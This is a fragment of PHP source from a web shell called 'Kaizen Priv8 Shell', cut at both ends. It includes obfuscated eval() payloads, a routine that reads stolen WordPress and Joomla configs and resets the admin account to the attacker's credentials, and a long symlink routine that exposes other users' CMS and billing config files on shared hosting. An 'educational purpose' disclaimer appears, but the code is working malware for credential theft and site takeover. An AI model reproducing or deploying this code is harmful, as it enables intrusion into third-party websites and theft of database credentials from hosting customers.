eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
} elseif($_GET['do'] == 'loghunter')
{eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
elseif($_GET['do'] == 'metu') {
echo '<form action="?dir=$dir&do=metu" method="post">';
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'Good Bye :) See You ~';
}
elseif($_GET['do'] == 'about') {
echo '<center>Kaizen Priv8 Shell<br>Coded By V!rus Worm | AnonGhost Team | Mauritania Attacker | IndoXploit | Kaizen | Cyberizm.Org | Pinoy Lulsec<br>
Kaizen Priv8 Shell 2017 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.<br>
At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.<br>
The term has now changed known as a Defacer nowadays.<br>
Tools does not Made Hackers , Hackers make Tools.<br>
Do not Learn To Hack , Hack to Learn.wkkwk..<br>
"Keep Calm and enjoy Hacking \!/"<br>
Thanks For Using my shell :)<br>Special thankz to : AnonGhost Team<hr>Thanks to : AnonGhost Team | Mauritania Attacker | IndoXploit Coders Team | Cyberizm.Org | Lulzsec<br>';
}
elseif($_GET['do'] == 'auto_cu_wp') {
if($_POST['gass']) {
echo "<center><h1>WordPress Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' style='width: 450px; height:250px;'>";
UrlLoop($_POST['linkconf'],'wordpress');
echo"</textarea><br>
<input type='submit' style='width: 450px;' name='auto_cu_wp' value='Start'>
</form></center>";
} else {
echo "<center><h1>WordPress Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
<input type='submit' style='width: 450px;' name='gass' value='Start'>
</form></center>";
}
if($_POST['auto_cu_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$user = "Kaizen";
$pass = "Kaizen";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, not put domain name</font><br>";
} else {
echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
mysql_close($conn);
}
}
}
}
elseif($_GET['do'] == 'auto_cu_joomla') {
if($_POST['gass']) {
echo "<center><h1>Joomla Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' style='width: 450px; height:250px;'>";
UrlLoop($_POST['linkconf'],'joomla');
echo"</textarea><br>
<input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Start'>
</form></center>";
} else {
echo "<center><h1>Joomla Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
<input type='submit' style='width: 450px;' name='gass' value='Start'>
</form></center>";
}
if($_POST['auto_cu_joomla']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$user = "Kaizen";
$pass = "Kaizen";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
echo "Config => ".$dir_config."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, not put domain name</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
elseif($_GET['do'] == 'symconfig') {
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Skid this won\'t work on Windows")</script>';
exit;
}
else
{
if($_POST["m"] && !$_POST["passwd"]==""){
@mkdir("Symconf", 0777);
@chdir("Symconf");
@symlink("/","root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex Kaizen.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents(".htaccess",$htaccess);
$etc_passwd=$_POST["passwd"];
$etc_passwd=explode("
",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[0];
@symlink('/','Symconf/root');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
//Home1
@symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
